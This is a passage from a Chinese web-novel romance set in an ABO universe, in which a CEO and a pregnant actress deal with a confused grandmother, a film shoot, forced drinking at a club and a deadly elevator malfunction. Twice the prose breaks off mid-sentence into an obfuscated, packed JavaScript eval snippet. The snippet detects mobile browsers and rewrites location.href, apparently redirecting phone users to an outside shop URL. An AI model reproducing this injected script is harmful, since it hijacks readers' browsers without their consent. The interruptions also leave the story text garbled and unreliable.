这是......老年痴呆。 薄霜心下了然,婉声温柔:“我是来送您回家的,您住哪儿?” 老妪挠了挠脑门:“我住哪?我得好好想想......” 轮椅刻着华纪疗养院的图标,大半夜的,后山偏僻人静,摄像头也没几个。 医护和老人的家属要是发现人不见了,这会儿估计都还在找。 薄霜推着轮椅,缓慢往疗养院大厅的方向去。 没走多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283895|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不远处树林传来声音。 “这里!” “找到了,秦女士在这里!” 一行医护急匆匆赶来,看到薄霜那张脸的瞬间愣住,薄霜主动解释情况,众人才了然,向薄霜道谢。 “纪总,这边,您慢请。” “没受伤,完好无损的。” “三个人都看不住姥姥,拿着工资吃干饭的!?” “对不起纪总......我有事,急......就上了个卫生间。” “岑桑,帮这三位护工办理离职。” “纪总......” “阿姨这边请,您不需要再往那边去了,现在咱们回去领了工资就离开。” 岑桑带着三位护工离开,纪从烟疾步走来。 天边隐隐泛起浅白,裤腿沾满露水,她蹲在轮椅前。 “姥姥,您又调皮了,妈咪要是知道该多着急。” 老人眼神浑浊涣散,看看纪从烟,又看着薄霜,疑惑:“我孙女儿?” 纪从烟这才发现边上站了个薄霜。 她握着轮椅把手,将秦女士的视线转回来。 “姥姥,我才是您的孙女。” “那这个是......?”老人家糊涂了,一拍脑袋,恍然大悟,“我想起来了,是我孙媳妇儿!” 纪从烟满脸黑线:“......” “您糊涂,这就是个无意间碰见您的路人,不是您孙媳妇儿。” “胡说,你媳妇儿笑得多好看啊,还说不是呢?” “......纪家的媳妇儿,谁当谁都能笑出声,姥姥您快别瞎点鸳鸯了。” 秦女士疑惑:“是吗?” 纪从烟耐心:“是的。” 秦女士:“骗人。” 纪从烟:“。” “总之,她不是我的Omega。” 老人家神情瞬间变得严肃,狠狠拍了一下纪从烟的脑袋。 “一派胡言,你瞧瞧你,把这么漂亮的媳妇儿惹哭了,眼睛还红着多可怜哟,大女人敢做不敢当,还是不是Alpha了!?” 纪从烟那叫一个冤枉,乜了眼在旁边观望之人。 夜风吹起一头秀发,拂过美人眼尾,眼眶确实微微泛着红。 但这跟她纪从烟没有任何关联。 “来,你。跟我姥姥解释一下,你哭跟我没关系。” 影后被点到名,蹲到轮椅侧面,和纪从烟格开了些距离。 不远不近的距离,界限保持得很好,纪从烟嗅到了她身上那股子独特的香气。 “姥姥,我没事。”她的笑容温雅,语调婉柔平缓,叫老人家听了如沐春风。 “我家这孙女,就是霸道、鲁莽、不爱讲理,要是惹着你了,你找姥姥,姥姥给你评理。” “好~谢谢姥姥,不过情侣之间又哪有隔夜的怨怼,您不用担心,回头我们就能解决了。” “真懂事哟,我家那糟心的家伙就拜托你照顾了。” 老人家困了,和薄霜浅浅聊了几句便靠在轮椅。 闭上了眼睛,睡得十分平稳。 薄霜帮秦女士盖好软被,仔细掖好被角,纪从烟在一旁看着。 美人的动作很熟练,甚至会轻轻翻起秦女士的眼皮,检查眼球状态是否正常。 接班的护工把秦女士推回房间。 薄霜从疗养院大厅出来。 纪从烟站在一颗银杏树下,衬衫外罩了一件轻薄的真丝披风,五指宽的系带绑了个优雅的结,凉风吹得长发肆意飘扬,灌入长披风,将宽肩细腰的身型衬得落阔颀长。 “薄小姐故意的?”纪从烟挑眉。 “在我姥姥面前说那么容易让人误会的话。” “纪总,秦女士的症状您应该明白,何必非要反驳让老人家不快?” “这是你在我姥姥面前承认我们是情侣的理由。” “纪总,不会有人把这句话当真。” 薄霜里头穿的是病服,外面也那么恰巧拢着披风。 从远处看,设计感极佳的庭院里,像有一对穿了情侣装的情侣在吵架对峙。 “是么?还请睡了我的薄小姐远离我家的老小,不要尝试对我的家人下手。” 纪从烟往建筑内走,经过薄霜,路很窄,她淡声。 “让开。” 美人默声后退两步,纪从烟头也不回地进了疗养院大门。 Alpha身上令人舒适的香气远离,在空气中荡散,微弱不可闻。 她取出手机,屏幕亮起,一行字符发送出去。 【手术麻烦安排在一周后。】 12. 第 12 章 三天后。 “Cut!” 高声回荡在大太阳下,吴朗丽一脸喜色,薄霜这个角色保住,月董答应她的大半分成也就保住了。 “纪总,您看今天拍的每一场戏,真就神了,全是一条过。” 纪从烟淡淡嗯了声,视线落在监视器。 监视器上回放着刚才的那一场。 明媚的阳光落在新任将军王脸上,接管权力的短短一段时日以来,她破除质疑,亲手挑染血腥和暴力。 面上,原本纯粹到极致的柔和,染上了军王该有的坚毅和刚强。 素黑的悼念服将她勾勒得清瘦,众将士却心悦诚服,齐声应和,声洪如钟:“是!” 回到现实,薄霜站在伞下,还穿着那一身闷热不透气的黑色服装,额头渗出薄汗,助理和化妆师正拿纸巾处理着。 她脸色不似三天前的苍白,脸颊被太阳晒出了健康的淡粉色。 纪从烟收回目光。 剧组的摇钱树没事,她便安下心。 “我会不定时到剧组视察,希望吴导能让你的主演保持稳定的水平。” “是是是,您不说我也懂的,咱们要冲贺岁档,时间耽误不得,纪总您就放心交给我,欢迎随时来视察。” 吴朗丽目送纪从烟离开。 “纪总~” 纪从烟还没进休息室,身侧一道熟悉的声音靠近。 玉晨很自觉站在门口没进去,和纪总保持适当不惹人烦的距离。 “我是不是没戏了?” “有戏没戏你自己看不出?” 纪从烟没给她眼神,径直落座背对门口的沙发,翻看起文件。 玉晨长叹一声:“她的演技果然又精进了,让人望尘莫及噢。” 岑桑在一旁笑:“您才刚结束上一段戏,多休息一会儿也不妨事,几个月后,公司还有几个顶级的项目任您挑选。” 玉晨:“话是这么说没错,但三个月后那个新项目,导演和编剧都更青睐薄霜,那剧本我也看了,确实更适合薄霜,人家能无缝接大制作呢。” 纪从烟头也不抬:“你很闲?技不如人还不回去精进,发什么牢骚?” 玉晨被噎住,跺了跺脚:“纪总......您麾下一员大将即将要抠脚大半年,您不着急吗?” 纪从烟背影冷酷:“聒噪,打扰到我工作了。” 岑桑向玉晨做了个‘请’的手势,利索关上门。 玉晨也不自讨没趣,又晃到吴朗丽边上看戏去了。 薄霜不在现场,她疑惑:“人呢?” 吴朗丽盯着监视器:“外头太热,回休息室了。” 休息室,柳凡站在高椅上,扒拉着壁挂的空调,满头大汗。 “姐,这空调真的坏了,维修师傅的单子太多,得明天才能到。” 这一排的休息间全是临时搭建,棚顶太阳直射,空调每天都要开到最低温度才能保持不出汗。 薄霜坐在化妆镜前,双眼闭着。 额头渗出的汗比在外面还多,外头好歹有风、吹着凉快。 听到柳凡的话,只是轻轻嗯了声。 柳凡是知道薄霜前些天进医院了,担忧姐的身体,咬了咬牙。 “姐你等着,我到隔壁借用一下纪总的休息室。” “凡凡——” 薄霜睁开双眼,可惜喊得太晚,柳凡风火轮似的卷出了门外。 岑桑应声开门,疑惑看向来人。 室内凉意扑面而来,柳凡紧张的心绪稍有缓解。 “岑助,你,你好,我是薄姐的助理,是这样的,我们这边休息室的空调坏了,里面像蒸桑拿一样闷热,请问可否借用纪总的休息间。” “纪总。” 岑桑回头。 房间小,纪从烟听得一清二楚:“多少人,三个以上不行。” 柳凡惊喜:“就三个,薄姐、我和化妆师,我们保证很安静,不给您添麻烦。” 纪从烟手中的文件翻页,淡声:“可以。” 柳凡回到隔壁小声宣布了这个好消息,化妆师喜上眉梢,赶忙收拾东西,仔细检查不落下任何一件化妆品。 薄霜带着柳凡和化妆师轻轻敲响隔壁的门。 岑桑声音很轻:“薄影后里面请,纪总在开会,你们尽量不要发出声音。” 新的休息室宽敞,不冷不热的温度于薄霜而言是恰到好处。 空气飘着Alpha淡雅的雪巅清酒香气,更是极大程度缓解了方才因过于闷热而产生的不适。 放轻脚步坐到化妆镜前,掌心下意识扶着小腹。 化妆镜恰好映入了后方沙发上她腹中胎儿的Alpha母亲。 衬衫里是一件纯白色的吊带,贴身的吊带将Alpha的身材勾勒出线条,宽肩细腰,明媚大气。 她正开着会,温沉声音稍显不耐烦。 【姐,闭眼。】 化妆师晃了晃手机屏幕上的字,薄霜这才收回目光。 两位母亲这回出远门把公司扔给纪从烟,是想让纪从烟揪出集团里一些不安分的人,纪从烟没想到底下不安分的人实在太多。 尤其是纪家的旁支,一旁三千里,还胆敢作威作福。 这些旁亲比不得一般的员工好处理,诡计多端滑不溜手。 纪从烟正专注思量要怎么挨个解决这些人。 眉心拧着,看着不太耐烦。 忽地,鼻腔渐渐充盈起一股若有若无的香气,宛如有一双无形的温柔的手掌,抚平她高高隆起的眉头。 滞涩了好一会儿的思绪重新流转,愈发通畅。 很快想清楚解决这些人的关键。 快速敲了封邮件发给两位母亲,对面回复很快。 一来一回聊了整个下午。 从屏幕中抬起头时,窗外早已橘黄一片。 “岑桑,给寻雾打电话没?” “打了,她说不想一个人回家,没您在的家里没有半点生气,等您去接她呢。” “这小家伙怪会说话。” “可不是么。”岑桑笑。 纪从烟唇角勾起一抹弧度,站起身舒展筋骨,余光瞥见化妆镜前坐着两人,想起来中午放了主演团队三人进来。 薄霜微颔首向她打招呼:“多谢纪总。” 纪从烟只是淡淡说了句:“嗯。”便离开休息室了。 车辆驶出影视城,纪从烟开了座椅的按摩模式,舒服地阖上双眼。 “剧组有人传您和薄影后的绯闻,需要处理一下吗?” 她掀起眼皮:“谁在传?” “最开始是几个群演看到前些天薄影后进了您的休息室,私底下交谈,然后今天又看到薄影后在您的休息室里待了很久,流言就这么传着传着变味了。” 纪从烟眼中危险的光芒渐渐消散。 不是薄霜本人传出便没问题,谅她也没那个胆子来讹第二遍。 · 夜晚九点,市中心。 街道繁华人来人往,最耀眼的大厦顶层,隐藏着全市最低调的会所。 八十八层楼高可俯瞰整座城市。 女人站在露台,握着一台手机,屏幕上是一片纯净的白。 仔细看,是许多精密的医疗设备。 洁白的病床上,躺着一位身形消瘦的年迈女人,她面颊凹陷,肌肤苍白。 屏幕外,女人眼眶渐渐泛起了红。 “阿姨......我妈她......” “嘘,薄小姐,您的母亲刚做了一场手术。” “医生怎么说?” 镜头一阵晃动,阿姨带着手机到了走廊外,她穿着密不透风的防护服,摘下口罩深深吸了几口气,才开口。 “医生说的那些术语我都不太懂,额,总之呢,您母亲还要躺一段时间才能醒。” 薄霜轻轻擦拭眼角的泪:“手术怎么做得这么突然。” 阿姨:“害,我也不清楚,可能是恶化了吧,你父亲来签了文件又走了。” 薄霜凝神,握紧栏杆:“我父亲?” 阿姨:“是吧,应该是你的父亲,不是你父亲的话,医生也不会认那个签名啊。” 薄霜:“可否麻烦阿姨您告诉我,是在哪家医院?” 阿姨面露难色:“薄小姐,咱们都是给月董打工的,您就别为难我了,月董不让说啊。” 手机里传来一阵脚步声,阿姨着急:“先不说了,护士那边要提醒我护理注意事项,我就先挂了哈。” 嘟—— 画面断线。 薄霜看着和阿姨简洁的聊天框,只有视频通话记录,每一次通话都无法超过一分钟,一周只有寥寥一两次的通话。 深呼吸,握紧了手机。 “阿霜,投资人在里面等着,你在外这么久干什么?” 月弘敲了敲露台的门,眉眼不悦。 “赶紧来。” “月董,这个戏我不能接。” 月色下,薄霜站在原地,声音低婉沙哑,一听便知哭过。 “你闹什么脾气?摆个臭脸给投资人看?这个戏和你现在拍的《晨曦》,是安纪娱乐今年最看重的两个项目,人家放着自己的当家头牌玉晨不用,向我们抛出橄榄枝,大好的事情你不知道珍惜?” 月弘面色微沉。 “两部戏中间的休息时间完全足够,你说不拍就不拍?薄霜你是我太奶还是怎么的?我月屿娱乐还得供奉着你这尊大神?” 薄霜沉默片刻。 不是她不想接。 大制作、好剧本,她自然喜欢。 可是腹中的胎儿一天没打掉,她都没办法接下这个项目。 倘若接了,才是对剧组的不负责。 她的沉默让月弘更加恼火。 “我告诉你薄霜,这戏你接也得接,不接也得接,你妈今天才做了手术,用的是全球最尖端的机器,请了最顶级的教授和护理,一趟下来不止一个亿。” 薄霜:“月董,《晨曦》是主旋律电影,票房有官方保底,分账到月屿娱乐公账上,预计至少十亿。” 这甚至是非常保守的数据。 近些年,只要是她和玉晨主演的电影,商业片票房全不低于八十亿。 目前在拍的这部《晨曦》,叠加主旋律效应,和官方暗中护航保障,票房只会多不会少。 可以这么说,薄霜和玉晨各自为自家公司赚的钱,每年逾三十亿。 都是摇钱树般不可撼动的存在。 月弘烧了根烟:“阿霜,一码归一码,公司从你素人状态捧到如今的影后位置,前前后后花了多少钱你不清楚吗?” “没有玉晨的家底,没那富贵大红的命,还学人清高。让你去陪老板不愿意,硬是把你捧成最年轻的影后我废了多大劲啊!?你现在倒是把你爸妈欠的钱全都还我啊!还不起你他爹的就给我拍戏!” 恶狠狠踩灭香烟。 月弘带着薄霜回到包厢。 这是安纪娱乐和月屿娱乐近期来的第二次合作。 上一回的合作由纪从烟拍板,没那么多应酬工作,这次据说管项目的是纪从烟哪个表亲,晚上吃了饭不够,还要来这会所玩儿。 月弘拉着薄霜坐下。 “黄总,阿霜家里有些事情,已经处理完了,这就来陪您喝两杯。” 薄霜隐晦地扫了眼月弘。 来之前说好了,不喝酒。 “薄影后,自行离场要自罚三杯哦,请吧。” 黄总是个大肚腩男A,脸上全是褶子肉,笑眯眯地看着薄霜。 几度往月弘那边挤,月弘不动声色一个肘击把他肘回去。 包厢晃满动感灯光,远处有几人拿着麦克风鬼哭狼嚎似的唱歌,酒桌这边所有人的目光都落在黄总和薄霜身上,月弘在心里暗骂薄霜 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大片僵持的气氛中,薄影后缓缓开了一瓶酒,倒进杯中,一饮而尽。 黄总愤怒的目光有所缓解,拍了拍手:“好!还剩两杯!给我喝!” ...... 楼下八十七层。 纪寻雾摸了摸肚子:“姐姐,今天的菜很好吃哦。” 纪从烟轻笑,暖黄光线勾勒着明艳的五官:“下次还来?” 纪寻雾点头如捣蒜。 “纪总。”岑桑说,“黄苍海在楼上,安纪的秘书说他正在准备明年暑假档的超规格项目,咱们要上去突击一下吗?” 黄沧海是纪从烟一表三千里的表亲,担任安纪娱乐副总裁多年,是母亲让她重点留意的对象。 对方恐怕有侵吞安纪娱乐的打算。 “你把寻雾送回车上,寻雾。”纪从烟蹲下,和小不点平视,“一个人在车上坐一会儿,有什么事及时给我打电话。” 纪寻雾:“好哦,但姐姐不能让我等太久,不然寻雾会想你。” 纪从烟笑着目送妹妹离开,来到八十八层。 和楼下的温馨不同,八十八层会所的灯光昏暗,侍员上前,恭敬道:“纪总。” “黄沧海在哪个包厢?” “您这边请。” ...... “区区影后就两杯的量?月弘你联合你的员工诓我呢?” 黄沧海盯着桌上剩余的一杯酒,突然起身握着酒瓶,笑吟吟地盯着薄霜,眼中很是不怀好意。 “薄影后,出来混,圈里这么简单的规矩都不懂?三杯,一杯不能少明白吗?” 酒瓶拍着掌心,一步步逼近薄霜。 “否则,呵呵呵,别怪我不知道怜香惜玉。” 话音才落下的瞬间,包厢门被推开。 走廊明亮的灯光照入,一道修长身影缓缓步入,高跟鞋踩落地面的声音清脆,在寂静的房间回荡奏响。 “黄沧海。” 于黄沧海而言,这是如鬼魅般的声音,他吓得整个人身体僵直,如惊弓之鸟。 女人一步步走近,他僵直地往后退去,脖子几乎缩到了衣领中,对方净身高就比他高上几厘米,穿上高跟鞋,他得仰着头才能看见她。 “姐......” “谁是你姐?” “表姐......”黄沧海欲哭无泪。 手上的瓶子突然被握住,黄沧海眼睁睁看着瓶子在眼底放大。 “嘭!” 玻璃碎了一地,男人头上鲜血和酒液混杂,颤抖着倒在角落里,一声不敢多吭。 “黄哥!” “黄总!” 纪从烟转身,眉眼依旧明媚优雅,半点看不出刚才开了一个男Alpha的瓢,她接过岑桑递来的湿巾,慢条斯理擦着手套沾上的酒血混合液体。 用过的湿巾随手扔到黄沧海脚边。 “没想到我安纪娱乐藏污纳垢这么多阴沟里的老鼠,岑桑。” “明白。”岑桑点了点头,接过总裁的话,“今天在场的所有人,即刻起,你们被解雇了,并将被安纪娱乐以及纪氏集团永久性行业拉黑。” 警方到来,将刚才参与逼迫喝酒的一众人带走,岑桑在外面看着,月弘这老狐狸趁势溜走了。 包厢里只剩纪从烟和薄霜。 空气中烟酒的气息也掩盖不住Omega的特殊信香。 幽幽兰花清檀香,还夹杂着一股说不出的甜味儿。 纪从烟给母亲发了几条信息,等到对面回复一个【好】后,便揣起手机离开。 “谢谢纪总。” 原本坐在沙发上的薄霜突然站起身。 她身上穿的不是剧中的戏服,而是一条低饱和绿的丝绸吊带长裙,掐腰设计,勾勒那截盈盈可握的细腰,外拢一件杏色薄纱,白皙肩膀隐隐绰绰。 面上泛着两坨显而易见的红晕,一股酒味传来。 闻着像黄沧海拎的那瓶洋酒。 纪从烟眉心微蹙:“纪氏集团内部肃清,还请薄小姐不要自作多情。” 美人似乎喝醉了,一双柔情似水的桃花眼涣散,怔怔看了纪从烟一会儿,似乎才反应过来对方在说什么。 她往前一步,捂着胸口,深深鞠了一躬。 “那也谢谢纪总救我于水火之中。” 起身时,头发像帘幕从眼前散开,只见刚才分明还正常的眼尾,此时泛着轻微的红。 她面上挂着温婉自然的笑,状态却不好,站着的姿态摇摇欲坠,脆弱得像江边随时能被掀翻的柳叶。 关我什么事。 纪从烟从微愣的状态回神,抬步正要离开—— 眼前一片阴影袭来,摇摇欲坠的美人在眼底放大。 13. 第 13 章 也是被薄霜讹出了经验,纪从烟这回反应迅速,在对方将要砸进怀里时,手及时伸出,格开薄霜。 没闪身躲开,是怕这么大棵的摇钱树撞到墙壁,破皮了耽误拍摄任务。 但一而再再而三被Omega蹬鼻子上脸,纪从烟语气十分不耐:“我是不是警告过你?” 戴着手套,手背顶在薄霜喉咙处,维持Omega站稳的支点只有隆起的指骨。 单一的支点不够稳定。 就在她说话的同时,薄霜站不稳往外滑去。 纪从烟眼皮微跳,反手掐住薄霜的脖子,才稳住了对方的身型。 电话恰好响起。 岑桑:“纪总,警方已经把那些人带进局里行政拘留了。” 纪从烟:“嗯。” 岑桑:“寻雾小姐睡着了,睡得可香呢,您看着时间早些下来哈,车里的椅子不比家里的床舒服。” 纪从烟扫了眼摇摇欲坠的影后。 “你先开车送她回去,让管家出来接我。” 挂断电话,她盯着薄霜:“薄小姐,不会喝酒就拒绝。” “嗯......” 影后声音含糊。 两大杯烈酒的作用逐渐加深。 眼前,纪从烟化作无数道重影牢牢包裹着她。 和Alpha相比,Omega的骨架和肌肉等生理结构要相对弱,被纪从烟这样气场强大的Alpha团团包围,本该是会感到不适的。 然而对方身上散发着令薄霜感到十分舒服的气味。 薄霜身上还扛着安纪娱乐今年投资最大的项目。 纪从烟还不至于丢下不管。 一根手指在薄霜眼前晃了晃。 “这是几?” 薄霜:“是......纪总。” 纪从烟:“......” 她看了看指向自己的手指。 行,还没完全醉。 逻辑起码是正常的。 动感灯光被暖调光取代,包厢内散着柔和光晕。 两人站在门口不远处,Alpha一只手掐控着Omega的脖子。 薄霜有些喘不过气:“疼,明天还要拍戏......请纪总轻一些。” 两个多月前,类似的一句话也曾发生过在床上。 那时的纪从烟理智完全被易感期侵蚀,听不进Omega的请求。 这回闻言,力道松了些。 语气还是很不耐:“薄霜,你很缺钱?” “缺,但是,纪总给的已经足够多。” 纪从烟冷笑:“那你是不是还要谢谢我。” 薄霜神情怔住。 空气安静了须臾,美人缓慢点头,唇角弯起弧度:“谢谢纪总。” 唇角弯起的弧度过于牵强,甚至隐隐带着几分不易察觉的难堪,再仔细看,却看不出了。 纪从烟想说什么,后颈腺体突然传来轻微刺痛。 这几天是她的易感期,差点忘了她和薄霜的匹配度之高。 拎着人进了电梯。 薄霜全程靠在电梯厢壁,安安静静没有说话,眼神比起在包厢时要更加涣散。 电梯的灯光比包厢明亮,影后从脸颊到脖颈泛着红,脖子上还残留着纪从烟的掌印。 纪从烟撇开眼。 没有人说话,空气一时静了下来,只有电梯运行的声音,似乎有点异响,她随手按了报警铃。 安静的电梯很快从八十八层下到一层。 “到了,自己走出去。” 醉酒的影后反应迟缓,点了点头,小步小步往外走去。纪从烟就在里面看着,直到那道微微摇晃的身影完全出了电梯,她才抬步走出。 电梯吱呀吱呀地响。 刚才按了报警铃到现在都没人响应。 可就在纪从烟要从电梯里走出来的瞬间,可怕的一幕发生了,本应开着的电梯厢门突然急速向内关闭,伴随播报声:“电梯关门。” 纪从烟还没从门里完全走出来,躯干恰好被夹了个正着。 正常情况下,电梯门夹到物品,便会自动感应弹开,然而这电梯门不知怎么了还在往里挤,把纪从烟死死卡住。 播报声紧接着响起:“电梯上行。” 厢壁缓慢上升,纪从烟头顶距离门顶越来越近,眼看就要被活生生断成半截。 万分着急的千钧一发之际,纪从烟手臂薄肌暴起,青筋爬走,惊人的力量爆发,将死死挤着她的门硬生生格开了一点距离。 电梯还在上升,这一丝距离于纪从烟而言,是救命的逃生空间。 纪从烟镇定地从半空跳下,同时把薄霜的手从门里也带了出来——刚才门关上前,薄霜离门不远,就在门边帮她挡了一下。 电梯门挤压她的同时也把薄霜的手牢牢锁住。 半开着的电梯还是升了上去。 死里逃生,纪从烟回想刚才那是一阵后怕,靠在墙边重重喘气。 她没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283897|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到,方才力气爆发,Alpha信息素早已冲破了抑制贴。 浓烈的雪巅清酒信息素宛如瀑布倾泄般,瞬间灌满整个电梯厅。 天花板顶上,信息素泄露的红灯亮起,整个一层充斥警报声响。 管家到来时,铃声刚响,她半只脚踏入了电梯厅,却见到了这样一幕—— 她家小姐从脖颈到脸颊的面色涨红,喘着粗气,怀里抱着一个矮大半头的女人,大概率是Omega,戴着黑手套的手摁在Omega腰上。 Omega的状态也不对,单看背影,脖颈也泛着粉色。 暖调的灯光将这一幕衬得无比黏稠暧昧。 迈了一半的脚紧急收回。 管家急忙回身拦住大楼的安保,声音压低:“开空气过滤,都不准过去。” 她的第一反应是太好了小姐终于有想接触的Omega了!纪董和夫人不用担心小姐的未来了。 第二反应却是,小姐这也太猴急了! 怎么能和Omega在这种公共场合...... 管家看着纪从烟长大,如今一把年纪都快六十岁,看到那样的场景老脸通红,帮着小姐堵在通往电梯厅的唯一路口。 力量爆发致使纪从烟易感期提前降临。 信息素高匹配度让她们贴得严丝合缝。 “占够便宜了没?” 纪从烟不耐烦地把怀里的Omega扯出来,拎起薄霜的后衣领从后门离开。 没走两步‘嘶啦’一声,真丝薄纱经不起拉扯,直接裂开,白皙肩膀半露,只挂着一根细细的吊带。 失去薄纱遮盖的肩膀,散出好闻的香气。 纪从烟清醒时还没扯过哪个Omega的衣服。 这还是头一回。 她无措地看着手上的碎布,嘴巴张了张,但一句话说不出来。 “纪总,没事的不怪您,真丝材质本就不耐拉扯。” 薄霜的手被电梯门这么夹,再是醉得厉害,也疼清醒了。 她看着茫然无措的Alpha,婉声安抚:“您别急,我自己能走,但是需要麻烦纪总稍微搀扶。” 单靠她一人,没法抵抗和纪从烟之间的吸力。 灯光落在薄霜脸上,映得五官立体端庄。 她没有做错什么,只是被吸到了纪从烟怀里,眼中磊落没有半点暗喜。 被粗暴对待,更没有胆怯,只是耐心包容着纪从烟的情绪,温柔引导无措的Alpha。 14. 第 14 章 温柔的语气好似有什么安抚作用。 纪从烟心下的茫然无措感渐渐消散,取而代之的,是她一贯的镇定从容。 隔着一层手套,她扼住对方的手腕。 虽然薄霜刚才被夹清醒了,但那也只是肾上腺素激增的作用,脑子仍然受酒精影响,行走时稍有摇晃。 纪从烟的步伐放慢,半扯半拽、时贴时分开,终于把薄霜带上车。 管家已经在驾驶位候着。 接到人后,车辆平稳前行。 后排中间的扶手拉了下来,两人隔着扶手,肩膀挨在一起,管家急忙收回视线。 “阻隔环放在哪里?” “在您坐的椅子下方,拉开抽屉。” “去急救中心。” “是。” ‘咔哒’两声,阻隔环落位。 被迫贴在一起的两人终于重新获得自由。 纪从烟独自凭借蛮力撑开故障的电梯门,危急时分肾上腺激素狂飙,如今情绪恢复平稳,肩膀手臂的酸痛感就特别明显。 她脱下衬衫,里面是一件吊带短袖。 能清晰看到,从肩膀头子到手肘这一片,薄薄的肌肉还鼓着,青筋尚未消退,肌肤大片红肿甚至泛着青紫色。 被门框夹的痕迹非常明显。 薄霜:“纪总,空调温度能否调高一些。” 这是纪从烟的车,自然要纪从烟同意了才能调,管家余光看向后视镜。 小姐的眼神瞥了眼隔壁。 “薄小姐觉得冷,我可还热着。管家,把她那的出风口关掉。” 刚脱下衬衫拎起来丢到一旁,恰好丢进薄霜怀里,纪从烟语气冷酷:“不用还了。” 衬衫丝薄,还带着Alpha身上的暖意,盖在身上,空调风也不在这边流转,温度便恰到好处。 Alpha刚才泄露过多的信息素,衣服上都是那股雪巅清酒的气息。 前不久才喝了两大杯烈酒,现在又被淡雅霸道的酒香环绕,薄霜再次进入熏醉的状态。 这回的状态比喝了酒要好。 她的身体被浓厚的Alpha信息素滋养,脑袋的刺痛感,以及身上各种因醉酒、被门夹、被纪从烟掐等等而产生的各种不适感,都有所缓解。 车辆驶过深浅不一的树荫,暖色光线明明暗暗落在美人脸上。 她双手交叠着放在小腹前。 车内隔音极佳,几乎听不到路面摩擦声。 在这静谧的环境里,薄霜似乎听到了两道心跳声。 一道属于自己,平稳但稍弱,另一道更弱,同样是身体内传来的声音。 薄霜几乎以为是自己幻听到胎儿的心跳声。 凝神仔细听着,便没再听到了,倒是听到了包装纸撕开的声音。 纪从烟从真空包装里取出抑制剂,冰凉的抑制液注入,瞬间缓解了腺体处的滚烫。 她突然想起来什么,侧眸看向薄霜。 Omega面色如常,呼吸起伏均匀,一双桃花眼侧着看过来,微醺状态下的眼神略显涣散。 幸而不是那天晚上如春水般的眸光。 瞧着正常,没被她的信息素影响。 相比起Alpha的易感期,Omega的发情期更规律,更不易受Alpha影响。 啧,那天晚上她跟个狗似的,嗅到高匹配度的信息素就轻而易举被勾出了易感期。 车辆已经行驶了大半路程,距离华纪医疗也不远,生理安全得到保障,纪从烟这会儿才空出心思来处理电梯故障。 高端会所的电梯要人命、按了警报铃也没人回应,这公司也算到头了。 “岑桑,查一下丰电科技......嗯,对就那家做电梯的。” “不收购,我要它以最快的速度破产清算。” 简简单单的一句话,决定了一家公司的命运走向。 岑桑是个很好的助理,善于执行纪从烟下达的各种指令,这回虽然疑惑,但听出了纪从烟语气里的冷淡。 没多问,挂了电话便即刻执行。 华纪医疗硕大的招牌在夜色下泛着淡淡白光。 车辆没有直接停在急救中心大门,而是停在了一个小侧门。 这里是急救中心的贵宾区,里头有数十个独立的急救房间,不像大厅那么嘈杂,此处安静近乎无声,每个房间高端医疗设备齐全。 入口处低调,保安看到纪从烟那张脸,蓦地站起来敬了个礼,同时把大门打开。 急救中心贵宾区今天来的伤患不算多,还有小半数的房间空着,值班护士长恭敬地领着纪总到最里头的房间。 “教授在赶过来了,纪总和......薄小姐请稍等。” 护士长为两人倒了水,轻声关上门。 纪从烟瞥了眼薄霜手臂。 这双纤细的手完全经不起折腾,只是被电梯门夹了一下,上头就横着两条粗长深红的痕迹,甚至肿了起来。 伤势瞧着比她的伤还要骇人。 “薄小姐因救我而受伤,这几天就在医院里休养,剧组那边我会让岑桑去帮你请假。” “纪总,我不需要请假,这伤只是看着严重,这段时间戏服是长袖的,不妨碍拍摄。” 纪从烟淡淡睨她:“你还需要什么补偿?” 薄霜坐在急救床上,还盖着纪从烟的衬衫。 “我不需要补偿,只有个不情之请,希望纪总能够调查清楚电梯故障的原因,避免牵连无辜。” 纪从烟本已走到了门口。 闻言回过头,两步走回薄霜身边。 手撑在一旁的床头柜,居高临下看着对方,灯光落在身上,淡淡的阴影笼罩Omega。 “薄小姐,你的手和我的身体,险些就留了一半在那电梯里,我倒是没有薄小姐的圣人慷慨之心,死里逃生还能原谅始作俑者。” 薄霜婉声:“纪总,您的手疼不疼?” 纪从烟优雅的眉心蹙起:“你失心疯?” 薄霜眉眼温柔,眼中似乎还噙了几分感同身受的心疼,望向纪从烟,一言不发。 纪从烟心口仿佛被揪了一下,优雅随性的语调变得有些僵硬:“我疼不疼薄小姐还不清楚吗?” 顺着纪从烟的视线,薄霜看向自己手臂上的红肿。 忽地莞尔。 “纪总,我也很疼。您或许是被人设局了,也或许是电梯管理方的工作疏忽,电梯质量不佳,我相信您能彻查清楚,对症下药。 这样一家企业承载了许多人的生计,纪总仁善,总不愿看到无辜的员工被破产牵连?” “少给我扣帽子,薄小姐这是在教我做事?”纪从烟语气危险。 “不敢,也没有这个意思。”薄霜不卑不亢,语气温和婉柔,“只是纪总方才问我想要什么补偿,我希望您能考虑我的提议,好吗?” “多管闲事。” 纪从烟扔下一句话转身离开,浓黑柔顺的长发在空中划出优雅弧度。 她在薄霜对门的房间处理伤势,门上开了一道小窗,透过窗户,薄霜能看到纪从烟正笑着跟谁打电话。 